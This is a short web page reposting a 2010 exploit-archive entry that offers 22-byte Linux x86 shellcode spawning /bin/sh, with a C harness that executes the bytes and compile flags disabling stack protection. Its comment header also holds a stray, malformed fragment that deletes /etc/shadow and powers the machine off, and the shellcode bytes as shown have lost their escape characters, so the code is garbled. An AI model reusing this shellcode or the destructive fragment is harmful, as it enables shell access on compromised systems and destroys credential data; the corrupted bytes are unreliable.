Home / os / win7

linux/x86 - execve("/bin/sh", 0, 0) shellcode 22 b

Posted on 15 April 2010

====================================================== linux/x86 - execve("/bin/sh", 0, 0) shellcode 22 bytes ====================================================== #include <stdio.h> #include <string.h> /* by Magnefikko 15.04.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.oz.pl Subgroup: #PRekambr Name: 22 bytes execve("/bin/sh", 0, 0) shellcode Platform: Linux x86 unlink("/etc/shadow"; execve("poweroff", 0, 0); gcc -Wl,-z,execstack filename.c shellcode: x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x50xb0x0bx59xcdx80 */ int main(){ char shell[] = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x50xb0x0bx59xcdx80"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-15]

 

TOP